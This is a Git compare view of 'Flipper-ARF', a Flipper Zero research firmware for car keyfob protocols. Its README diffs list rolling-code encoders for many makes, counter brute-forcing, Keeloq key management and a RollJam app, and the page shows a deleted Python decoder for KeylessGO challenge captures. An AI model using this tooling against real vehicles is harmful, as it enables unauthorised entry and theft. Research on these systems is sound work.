Compare commits

...

35 Commits

Author SHA1 Message Date
Andrea Santaniello
d85657b6b3 Update README.md 2026-03-24 20:57:49 +01:00
Andrea Santaniello
2fd01bb911 Scher Khan PRO/PRO2 and Sheriff CFM 2026-03-24 20:50:48 +01:00
d4rks1d33
d23a892a16 Small changes
All checks were successful
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-24 13:39:45 -03:00
d4rks1d33
16d06d75fe Fix Starline d-pad mapping
All checks were successful
Build Dev Firmware / build (push) Successful in 10m44s
2026-03-23 21:35:59 -03:00
d4rks1d33
937a2204c1 Scher-Khan small fixes
All checks were successful
Build Dev Firmware / build (push) Successful in 6m48s
2026-03-23 20:32:24 -03:00
grugnoymeme
ab665809ce fixed and finished ford
All checks were successful
Build Dev Firmware / build (push) Successful in 6m29s
2026-03-22 19:40:56 +01:00
Andrea Santaniello
56c5670956 Revert "Added Term of Services & Easter egg"
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
This reverts commit a5cf675561.
2026-03-22 13:23:11 +01:00
d4rks1d33
a5cf675561 Added Term of Services & Easter egg
All checks were successful
Build Dev Firmware / build (push) Successful in 6m17s
2026-03-21 23:37:21 -03:00
D4rk$1d3
c6bec5ef4f Merge pull request #3 from LeeroysHub/main
All checks were successful
Build Dev Firmware / build (push) Successful in 6m25s
2026-03-21 23:02:27 -03:00
Leeroy
883d387246 Change BS to Checksum in Ford_V0 2026-03-22 08:49:31 +11:00
Leeroy
951f35c356 Remove unneeded BSMagic from Ford V0, we have proper BS calc now. 2026-03-22 07:29:32 +11:00
d4rks1d33
4e05a0e631 Fixed Ford V0, added Starline (tested) & added ScherKhan (untested)
All checks were successful
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-21 15:24:53 -03:00
d4rks1d33
17d497e21e Fix RollJam app
All checks were successful
Build Dev Firmware / build (push) Successful in 6m26s
2026-03-20 22:56:59 -03:00
47LeCoste
d5b46ffefb Update .gitignore
All checks were successful
Build Dev Firmware / build (push) Successful in 6m33s
2026-03-20 15:53:17 +00:00
D4rk$1d3
9d2298114c Update application.fam
All checks were successful
Build Dev Firmware / build (push) Successful in 6m32s
2026-03-18 19:18:49 -03:00
D4rk$1d3
b93a970647 Delete applications/main/KeylessGoSniffer directory 2026-03-18 19:17:43 -03:00
47LeCoste
c6265ea29b Delete CHANGELOG.md
All checks were successful
Build Dev Firmware / build (push) Successful in 10m8s
2026-03-18 19:41:47 +00:00
47LeCoste
8e0a81b89d Update fiat_marelli.h 2026-03-18 19:40:46 +00:00
grugnoymeme
6f39fd4803 removed problematics and fixed f3
All checks were successful
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-18 19:45:16 +01:00
grugnoymeme
41d10f9b3d Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 19:26:36 +01:00
grugnoymeme
1f97aa2e3c reduced datarate for F3, renamed 1,2,A1,F1,F3, introduced AU_1,RF_1 for test 2026-03-18 19:26:21 +01:00
D4rk$1d3
5b9038173b Update README.md 2026-03-18 15:04:38 -03:00
grugnoymeme
fde0a57595 forgtten to close a }
All checks were successful
Build Dev Firmware / build (push) Successful in 6m30s
2026-03-18 16:23:59 +01:00
MX
3fb40944e6 NFC: Add Mifare Ultralight C Write Support
by haw8411
2026-03-18 16:16:04 +01:00
grugnoymeme
e61cfa765a bft force seed value @MMX 2026-03-18 16:07:20 +01:00
grugnoymeme
fd0dd6c324 subghz fix very big issue with tx on read screen @MMX 2026-03-18 16:04:22 +01:00
grugnoymeme
8ff5e3c311 hide arf_pictures folder, and updated readme images 2026-03-18 15:58:12 +01:00
grugnoymeme
4974201851 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 15:55:47 +01:00
grugnoymeme
b0b464e3fb removed unused documentation, and changed the owner of the repo 2026-03-18 15:55:39 +01:00
47LeCoste
57226fc902 Update README.md 2026-03-18 14:52:24 +00:00
grugnoymeme
cb9aee6422 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 15:47:56 +01:00
grugnoymeme
b720fac88a add keyfinder 24b protocol, removed AGAIN keys.c/.h PAY ATTENTION WHEN MERGE XD, setup reserch setting_user file 2026-03-18 15:47:43 +01:00
Andrea Santaniello
22daa7cfc3 Correct bit order 2026-03-18 15:36:32 +01:00
grugnoymeme
1c9fddf076 Merge remote-tracking branch 'refs/remotes/origin/main'
All checks were successful
Build Dev Firmware / build (push) Successful in 6m33s
2026-03-18 15:16:47 +01:00
grugnoymeme
4380d9f156 small fmt 2026-03-18 15:16:21 +01:00
143 changed files with 4929 additions and 12672 deletions

View File

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

View File

Before

Width:  |  Height:  |  Size: 2.4 KiB

After

Width:  |  Height:  |  Size: 2.4 KiB

View File

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

View File

Before

Width:  |  Height:  |  Size: 1.8 KiB

After

Width:  |  Height:  |  Size: 1.8 KiB

View File

Before

Width:  |  Height:  |  Size: 2.1 KiB

After

Width:  |  Height:  |  Size: 2.1 KiB

View File

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

View File

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

5
.github/CODEOWNERS vendored
View File

@@ -1,5 +1,2 @@
# Default
* @xMasterX
# Assets
/assets/resources/infrared/assets/ @amec0e @Leptopt1los @xMasterX
* ARF Crew

View File

@@ -1,66 +0,0 @@
## Main changes
- Current API: 87.6
* SubGHz: Signal Settings Improvements (PR #968 | by @Dmitry422)
* Apps: Build tag (**17feb2026**) - **Check out more Apps updates and fixes by following** [this link](https://github.com/xMasterX/all-the-plugins/commits/dev)
## Other changes
* MFKey: Update to v4.1 (by @noproto & @dchristle)
<br><br>
#### Known NFC post-refactor regressions list:
- Mifare Mini clones reading is broken (original mini working fine) (OFW)
- While reading some EMV capable cards via NFC->Read flipper may crash due to Desfire poller issue, read those cards via Extra actions->Read specific card type->EMV
----
[-> How to install firmware](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)
[-> Unleashed FW Web Installer](https://web.unleashedflip.com)
## Please support development of the project
| Service | Remark | QR Code | Link/Wallet |
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------|
| <img src="https://cdn.simpleicons.org/patreon/dark/white" alt="Patreon" width="14"/> **Patreon** | | <div align="center"><a href="https://github.com/user-attachments/assets/a88a90a5-28c3-40b4-864a-0c0b79494a42"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [patreon.com/mmxdev](https://patreon.com/mmxdev) |
| <img src="https://cdn.simpleicons.org/boosty" alt="Boosty" width="14"/> **Boosty** | patreon alternative | <div align="center"><a href="https://github.com/user-attachments/assets/893c0760-f738-42c1-acaa-916019a7bdf8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [boosty.to/mmxdev](https://boosty.to/mmxdev) |
| <img src="https://gist.githubusercontent.com/m-xim/255a3ef36c886dec144a58864608084c/raw/71da807b4abbd1582e511c9ea30fad27f78d642a/cloudtips_icon.svg" alt="Cloudtips" width="14"/> CloudTips | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/5de31d6a-ef24-4d30-bd8e-c06af815332a"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [pay.cloudtips.ru/p/7b3e9d65](https://pay.cloudtips.ru/p/7b3e9d65) |
| <img src="https://raw.githubusercontent.com/gist/PonomareVlad/55c8708f11702b4df629ae61129a9895/raw/1657350724dab66f2ad68ea034c480a2df2a1dfd/YooMoney.svg" alt="YooMoney" width="14"/> YooMoney | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/33454f79-074b-4349-b453-f94fdadc3c68"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [yoomoney.ru/fundraise/XA49mgQLPA0.221209](https://yoomoney.ru/fundraise/XA49mgQLPA0.221209) |
| <img src="https://cdn.simpleicons.org/tether" alt="USDT" width="14"/> USDT | TRC20 | <div align="center"><a href="https://github.com/user-attachments/assets/0500498d-18ed-412d-a1a4-8a66d0b6f057"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `TSXcitMSnWXUFqiUfEXrTVpVewXy2cYhrs` |
| <img src="https://cdn.simpleicons.org/ethereum" alt="ETH" width="14"/> ETH | BSC/ERC20-Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/0f323e98-c524-4f41-abb2-f4f1cec83ab6"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` |
| <img src="https://cdn.simpleicons.org/bitcoin" alt="BTC" width="14"/> BTC | | <div align="center"><a href="https://github.com/user-attachments/assets/5a904d45-947e-4b92-9f0f-7fbaaa7b37f8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` |
| <img src="https://cdn.simpleicons.org/solana" alt="SOL" width="13"/> SOL | Solana/Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/ab33c5e0-dd59-497b-9c91-ceb89c36b34d"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `DSgwouAEgu8iP5yr7EHHDqMNYWZxAqXWsTEeqCAXGLj8` |
| <img src="https://cdn.simpleicons.org/dogecoin" alt="DOGE" width="14"/> DOGE | | <div align="center"><a href="https://github.com/user-attachments/assets/2937edd0-5c85-4465-a444-14d4edb481c0"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` |
| <img src="https://cdn.simpleicons.org/litecoin" alt="LTC" width="14"/> LTC | | <div align="center"><a href="https://github.com/user-attachments/assets/441985fe-f028-4400-83c1-c215760c1e74"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` |
| <img src="https://bitcoincash.org/img/green/bitcoin-cash-circle.svg" alt="BCH" width="14"/> BCH | | <div align="center"><a href="https://github.com/user-attachments/assets/7f365976-19a3-4777-b17e-4bfba5f69eff"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `qquxfyzntuqufy2dx0hrfr4sndp0tucvky4sw8qyu3` |
| <img src="https://cdn.simpleicons.org/monero" alt="XMR" width="14"/> XMR | Monero | <div align="center"><a href="https://github.com/user-attachments/assets/96186c06-61e7-4b4d-b716-6eaf1779bfd8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `41xUz92suUu1u5Mu4qkrcs52gtfpu9rnZRdBpCJ244KRHf6xXSvVFevdf2cnjS7RAeYr5hn9MsEfxKoFDRSctFjG5fv1Mhn` |
| <img src="https://cdn.simpleicons.org/ton" alt="TON" width="14"/> TON | | <div align="center"><a href="https://github.com/user-attachments/assets/92a57e57-7462-42b7-a342-6f22c6e600c1"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `UQCOqcnYkvzOZUV_9bPE_8oTbOrOF03MnF-VcJyjisTZmsxa` |
#### Thanks to our sponsors who supported project in the past and special thanks to sponsors who supports us on regular basis:
@mishamyte, ClaraCrazy, Pathfinder [Count Zero cDc], callmezimbra, Quen0n, MERRON, grvpvl (lvpvrg), art_col, ThurstonWaffles, Moneron, UterGrooll, LUCFER, Northpirate, zloepuzo, T.Rat, Alexey B., ionelife, ...
and all other great people who supported our project and me (xMasterX), thanks to you all!
## **Recommended update option - Web Updater**
### What `e`, ` `, `c` means? What I need to download if I don't want to use Web updater?
What build I should download and what this name means - `flipper-z-f7-update-(version)(e / c).tgz` ? <br>
`flipper-z` = for Flipper Zero device<br>
`f7` = Hardware version - same for all flipper zero devices<br>
`update` = Update package, contains updater, all assets (plugins, IR libs, etc.), and firmware itself<br>
`(version)` = Firmware version<br>
| Designation | [Base Apps](https://github.com/xMasterX/all-the-plugins#default-pack) | [Extra Apps](https://github.com/xMasterX/all-the-plugins#extra-pack) |
|-----|:---:|:---:|
| ` ` | ✅ | |
| `c` | | |
| `e` | ✅ | ✅ |
**To enable RGB Backlight support go into LCD & Notifications settings**
RGB backlight [hardware mod](https://github.com/quen0n/flipperzero-firmware-rgb#readme), works only on modded flippers! do not enable on non modded device!
Firmware Self-update package (update from microSD) - `flipper-z-f7-update-(version).tgz` for mobile app / qFlipper / web<br>
Archive of `scripts` folder (contains scripts for FW/plugins development) - `flipper-z-any-scripts-(version).tgz`<br>
SDK files for plugins development and uFBT - `flipper-z-f7-sdk-(version).zip`

View File

@@ -29,11 +29,11 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| | |
|:---:|:---:|
| ![Home](arf_pictures/home.png) | ![Sub-GHz Scanner](arf_pictures/subghz_scan.png) |
| ![Home](.arf_pictures/home.png) | ![Sub-GHz Scanner](.arf_pictures/subghz_scan.png) |
| Home Screen | Sub-GHz Scanner |
| ![Keeloq Key Manager](arf_pictures/keeloq_key_manager.png) | ![Mod Hopping](arf_pictures/mod_hopping.png) |
| ![Keeloq Key Manager](.arf_pictures/keeloq_key_manager.png) | ![Mod Hopping](.arf_pictures/mod_hopping.png) |
| Keeloq Key Manager | Mod Hopping Config |
| ![PSA Decrypt](arf_pictures/psa_decrypt_builtin.png) | ![Counter BruteForce](arf_pictures/counter_bruteforce.png) |
| ![PSA Decrypt](.arf_pictures/psa_decrypt_builtin.png) | ![Counter BruteForce](.arf_pictures/counter_bruteforce.png) |
| PSA XTEA Decrypt | Counter BruteForce |
---
@@ -45,21 +45,25 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---|:---:|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | No |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes | No |
| Porsche | Porsche AG | 433/868 MHz | AM | Yes | Yes | No |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat Marelli/Delphi | 433 MHz | AM | No | Yes | No |
| Fiat | Marelli/Delphi | 433 MHz | AM | No | Yes | No |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V0 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V1 | 315/433 MHz | AM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V2 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V5 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V6 | 433 MHz | FM | Yes | Yes | Yes |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
| Starline | Star Line | 433 MHz | AM | Yes | Yes | No |
| Scher-Khan | Scher-Khan | 433 MHz | FM | Yes | Yes | No |
| Scher-Khan | Magic Code PRO1/PRO2 | 433 MHz | FM | Yes | Yes | Yes |
| Sheriff | Sheriff CFM (ZX-750/930) | 433 MHz | AM | Yes | Yes | No |
### Gate / Access Protocols
@@ -72,16 +76,19 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| CAME TWEE | 433 MHz | AM | Yes | Yes | No |
| CAME Atomo | 433 MHz | AM | Yes | Yes | No |
| Faac SLH | 433/868 MHz | AM | Yes | Yes | No |
| Holtek | 433 MHz | AM | Yes | Yes | No |
| Holtek-Ht12x | 433 MHz | AM | Yes | Yes | No |
| Somfy Telis | 433 MHz | AM | Yes | Yes | Yes |
| Somfy Keytis | 433 MHz | AM | Yes | Yes | Yes |
| Alutech AT-4N | 433 MHz | AM | Yes | Yes | Yes |
| Keyfinder | 433 MHz | AM | Yes | Yes | No |
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes | No |
| Beninca ARC | 433 MHz | AM | Yes | Yes | No |
| Hormann HSM | 433/868 MHz | AM | Yes | Yes | No |
| Marantec | 433 MHz | AM | Yes | Yes | Yes |
| Marantec24 | 433 MHz | AM | Yes | Yes | Yes |
### General Static Protocols
### General Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---:|:---:|:---:|:---:|:---:|
@@ -101,8 +108,6 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| Hay21 | 433 MHz | AM | Yes | Yes | No |
| Revers RB2 | 433 MHz | AM | Yes | Yes | No |
| Roger | 433 MHz | AM | Yes | Yes | No |
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes | No |
| RAW | All | All | Yes | Yes | No |
---
@@ -110,9 +115,14 @@ This project may incorporate, adapt, or build upon **other open-source projects*
Compact release build:
To build:
```
./fbt COMPACT=1 DEBUG=0 updater_package
```
To flash:
```
./fbt COMPACT=1 DEBUG=0 flash_usb_full
```
---
@@ -125,7 +135,7 @@ Flipper-ARF aims to achieve:
- Stable encoder/decoder implementations
- Modular protocol expansion
**Primary focus:** VAG, PSA, Fiat, Ford, Asian platforms, and aftermarket alarm systems.
**Primary focus:** Automotives/Alarm's keyfob protocols, keeloq, and keyless systems.
> ⚠ This is a protocol-focused research firmware, not a general-purpose firmware.
@@ -133,10 +143,9 @@ Flipper-ARF aims to achieve:
## To Do / Planned Features
- [ ] Add Scher Khan & Starline protocols
- [ ] Marelli BSI encoder and encryption
- [ ] Improve RollJam app
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
- [ ] Expand and refine as many manufacturer protocols as possible
---
@@ -177,7 +186,7 @@ Contributions are welcome if they:
> Non-automotive features are considered out-of-scope for now.
### This code is a mess!
![Talk is cheap, submit patches](arf_pictures/send_patches.jpeg)
![Talk is cheap, submit patches](.arf_pictures/send_patches.jpeg)
---
## Citations & References

View File

@@ -1,11 +0,0 @@
App(
appid="lf_sniffer",
name="KeylessGO Sniffer",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="lf_sniffer_app",
requires=["gui", "notification", "storage"],
stack_size=4 * 1024,
fap_category="GPIO",
fap_version=(1, 0),
fap_description="LF 125kHz challenge sniffer for KeylessGO analysis",
)

View File

@@ -1,506 +0,0 @@
#!/usr/bin/env python3
"""
LF Analyzer -- Decodes captures from the LF Sniffer FAP
=========================================================
Analyzes edge timings captured by the Flipper Zero FAP and determines:
- Modulation type (ASK/FSK/PSK)
- Encoding (Manchester, Biphase, NRZ, PWM)
- Bit period and carrier frequency
- Decoded bit stream
- Likely protocol (Hitag2, Hitag S, EM4100, etc.)
- KeylessGO challenge candidate if applicable
Usage:
python3 lf_analyze.py capture_0000.csv
python3 lf_analyze.py capture_0000.csv --verbose
python3 lf_analyze.py capture_0000.csv --protocol hitag2
"""
import argparse
import csv
import sys
import math
from collections import Counter
from pathlib import Path
# -- CSV loader ----------------------------------------------------------------
def load_csv(path: str) -> tuple[list, dict]:
edges = []
meta = {}
with open(path, 'r') as f:
for line in f:
line = line.strip()
if line.startswith('#'):
# Parse key:value pairs from metadata comment lines
if 'edges:' in line:
for token in line.split():
if ':' in token:
k, v = token.split(':', 1)
try:
meta[k.lstrip('#')] = int(v)
except ValueError:
pass
continue
if line.startswith('index'):
continue # skip column header
parts = line.split(',')
if len(parts) >= 3:
try:
edges.append({
'idx': int(parts[0]),
'dur_us': int(parts[1]),
'level': int(parts[2]),
'note': parts[3].strip() if len(parts) > 3 else ''
})
except ValueError:
pass
print(f"[*] Loaded {len(edges)} edges")
if meta:
print(f" Metadata: {meta}")
return edges, meta
# -- Carrier frequency detection ----------------------------------------------
def analyze_carrier(edges: list, verbose: bool = False) -> dict:
"""
Detects the LF carrier by measuring the shortest pulses in the capture.
These correspond to half-periods of the unmodulated carrier.
"""
durations = [e['dur_us'] for e in edges if 1 < e['dur_us'] < 50]
if not durations:
return {'carrier_hz': 0, 'half_period_us': 0}
counter = Counter(durations)
most_common = counter.most_common(20)
if verbose:
print("\n[*] Most frequent edge durations (us):")
for dur, cnt in most_common[:10]:
print(f" {dur:4d} us x{cnt:5d}")
# Carrier half-period = most frequent pulse in the 1-20 us range
short = [(d, c) for d, c in most_common if 1 < d < 20]
if not short:
short = [(d, c) for d, c in most_common if d < 50]
if not short:
return {'carrier_hz': 0, 'half_period_us': 0}
half_period = short[0][0]
carrier_hz = int(1_000_000 / (2 * half_period)) if half_period > 0 else 0
print(f"\n[*] Detected carrier:")
print(f" Half-period : {half_period} us")
print(f" Frequency : {carrier_hz:,} Hz (~{carrier_hz/1000:.1f} kHz)")
if 100_000 < carrier_hz < 150_000:
print(f" [+] Matches 125 kHz LF band (KeylessGO / RFID)")
elif 110_000 < carrier_hz < 140_000:
print(f" [~] Close to 125 kHz")
return {
'carrier_hz': carrier_hz,
'half_period_us': half_period,
'period_us': half_period * 2,
}
# -- Packet segmentation ------------------------------------------------------
def find_packets(edges: list, gap_threshold_us: int = 5000) -> list:
"""Splits the edge list into packets separated by gaps."""
packets = []
start = 0
for i, e in enumerate(edges):
if e['dur_us'] > gap_threshold_us:
if i - start > 8:
packets.append(edges[start:i])
start = i + 1
if len(edges) - start > 8:
packets.append(edges[start:])
print(f"\n[*] Detected packets: {len(packets)}")
for i, pkt in enumerate(packets):
total = sum(e['dur_us'] for e in pkt)
print(f" PKT {i}: {len(pkt)} edges, {total} us ({total/1000:.1f} ms)")
return packets
# -- Bit period detection -----------------------------------------------------
def detect_bit_period(packet: list, carrier: dict, verbose: bool = False) -> dict:
"""
Estimates the bit period from modulated pulse widths.
KeylessGO uses Manchester at ~4 kbps over 125 kHz, so bit_period ~250 us.
EM4100 / Hitag use 125 kHz / 32 = ~256 us per bit.
"""
min_dur = carrier.get('half_period_us', 4)
durations = [e['dur_us'] for e in packet if e['dur_us'] > min_dur * 2]
if not durations:
return {'bit_period_us': 0, 'baud_rate': 0}
# Histogram with 10 us resolution
hist = Counter(round(d / 10) * 10 for d in durations)
peaks = sorted(hist.items(), key=lambda x: x[1], reverse=True)
if verbose:
print("\n Modulated pulse durations (top 15):")
for dur, cnt in peaks[:15]:
print(f" {dur:5d} us x{cnt:4d}")
if not peaks:
return {'bit_period_us': 0, 'baud_rate': 0}
# Bit period = smallest frequently-occurring modulated pulse
candidates = [d for d, c in peaks if c >= 3]
if not candidates:
candidates = [peaks[0][0]]
half_period = min(candidates)
# Check if this is a half-period (consecutive same-width pulses that
# alternate level = Manchester half-periods). If so, double it.
# Two equal half-periods make one Manchester bit period.
same_width_pairs = sum(
1 for i in range(len(packet)-1)
if abs(packet[i]['dur_us'] - half_period) < half_period*0.3
and abs(packet[i+1]['dur_us'] - half_period) < half_period*0.3
)
total_half_pulses = sum(
1 for e in packet
if abs(e['dur_us'] - half_period) < half_period*0.3
)
# If >80% of pulses are this width, they are half-periods
if total_half_pulses > len(packet) * 0.7:
bit_period = half_period * 2
is_half = True
else:
bit_period = half_period
is_half = False
baud_rate = int(1_000_000 / bit_period) if bit_period > 0 else 0
print(f"\n[*] Estimated bit period: {bit_period} us ({baud_rate} baud)")
if is_half:
print(f" (half-period detected: {half_period} us x2)")
if 3800 < baud_rate < 4200:
print(" -> Likely: Manchester 4 kbps (Hitag2 / Hitag S / EM4100 / Keyless)")
elif 7500 < baud_rate < 8500:
print(" -> Likely: Manchester 8 kbps")
elif 1900 < baud_rate < 2100:
print(" -> Likely: 2 kbps biphase (EM4100)")
return {
'bit_period_us': bit_period,
'baud_rate': baud_rate,
'half_bit_us': bit_period // 2,
}
# -- Manchester decoder -------------------------------------------------------
def decode_manchester(packet: list, bit_period_us: int, verbose: bool = False) -> list:
"""
Decodes Manchester-encoded bit stream from edge timings.
Both half-period and full-period pulses are handled.
Returns a list of integers (0 or 1).
"""
if bit_period_us == 0:
return []
half = bit_period_us // 2
tolerance = half // 2 # +/- 50% of the half-period
bits = []
i = 0
while i < len(packet):
dur = packet[i]['dur_us']
if abs(dur - half) < tolerance:
# Half-period pulse -- needs the next one to complete a bit
if i + 1 < len(packet):
dur2 = packet[i + 1]['dur_us']
if abs(dur2 - half) < tolerance:
level = packet[i]['level']
bits.append(1 if level else 0)
i += 2
continue
i += 1
elif abs(dur - bit_period_us) < tolerance:
# Full-period pulse -- encodes one bit by itself
level = packet[i]['level']
bits.append(1 if level else 0)
i += 1
else:
if verbose:
print(f" [!] Unexpected duration at edge {i}: {dur} us")
i += 1
return bits
# -- Bit / byte helpers -------------------------------------------------------
def bits_to_bytes(bits: list) -> bytes:
result = bytearray()
for i in range(0, len(bits) - len(bits) % 8, 8):
byte = 0
for j in range(8):
byte = (byte << 1) | bits[i + j]
result.append(byte)
return bytes(result)
def print_bits(bits: list, label: str = "Bits"):
print(f"\n[*] {label} ({len(bits)} bits):")
for i in range(0, len(bits), 64):
chunk = bits[i:i + 64]
groups = [chunk[j:j + 8] for j in range(0, len(chunk), 8)]
line = ' '.join(''.join(str(b) for b in g) for g in groups)
print(f" {i//8:4d}: {line}")
if len(bits) >= 8:
data = bits_to_bytes(bits)
hex_str = ' '.join(f'{b:02X}' for b in data)
print(f"\n HEX: {hex_str}")
# -- Protocol identification --------------------------------------------------
def identify_protocol(bits: list, baud_rate: int, carrier_hz: int) -> str:
n = len(bits)
print(f"\n[*] Protocol identification:")
print(f" Bits: {n} | Baud: {baud_rate} | Carrier: {carrier_hz:,} Hz")
# EM4100: 64-bit frame, 9-bit preamble of all-ones, Manchester
if 50 < n < 80 and baud_rate > 3000:
for start in range(n - 9):
if all(bits[start + j] == 1 for j in range(9)):
print(f" -> EM4100 candidate (preamble at bit {start})")
data_bits = bits[start + 9:]
if len(data_bits) >= 55:
_decode_em4100(data_bits[:55])
break
# Hitag2: ~96-bit frame, Manchester 4 kbps
if 80 < n < 120 and 3500 < baud_rate < 4500:
print(f" -> Hitag2 candidate ({n} bits)")
_analyze_hitag2(bits)
# Hitag S: variable length, Manchester 4 kbps
if n > 120 and 3500 < baud_rate < 4500:
print(f" -> Hitag S candidate ({n} bits)")
# KeylessGO challenge: typically 32-64 data bits
if 20 < n < 80 and 3500 < baud_rate < 4500:
print(f" -> KeylessGO challenge candidate")
_analyze_keylessgo_challenge(bits)
return "unknown"
def _decode_em4100(bits: list):
if len(bits) < 55:
return
# EM4100 data layout: [version 8b][data 32b][col_parity 4b][stop 1b]
# Each row: 4 data bits + 1 parity bit
print("\n EM4100 decode:")
customer = (bits[0] << 7) | (bits[1] << 6) | (bits[2] << 5) | \
(bits[3] << 4) | (bits[5] << 3) | (bits[6] << 2) | \
(bits[7] << 1) | bits[8]
print(f" Customer code: 0x{customer:02X} ({customer})")
def _analyze_hitag2(bits: list):
if len(bits) < 32:
return
data = bits_to_bytes(bits[:32])
print(f"\n Hitag2 first 32 bits: {data.hex().upper()}")
print(f" As uint32 BE : 0x{int.from_bytes(data, 'big'):08X}")
def _analyze_keylessgo_challenge(bits: list):
"""
Looks for a KeylessGO challenge structure.
The car transmits: [sync/preamble] [32-bit challenge] [checksum]
"""
print(f"\n Keyless challenge analysis:")
# Alternating preamble (010101...) is typically used as sync
for start in range(min(len(bits) - 8, 20)):
window = bits[start:start + 8]
alternating = all(window[j] != window[j + 1] for j in range(7))
if alternating:
print(f" Alternating sync at bit {start}: {''.join(str(b) for b in window)}")
payload_start = start + 8
if len(bits) - payload_start >= 32:
challenge_bits = bits[payload_start:payload_start + 32]
challenge_bytes = bits_to_bytes(challenge_bits)
challenge_val = int.from_bytes(challenge_bytes, 'big')
print(f" Challenge candidate (32b): 0x{challenge_val:08X}")
print(f" As bytes : {challenge_bytes.hex().upper()}")
break
# Also print every 32-bit aligned window as a candidate
print(f"\n All 32-bit blocks in capture:")
for offset in range(0, min(len(bits) - 32, 48), 4):
chunk = bits[offset:offset + 32]
val = 0
for b in chunk:
val = (val << 1) | b
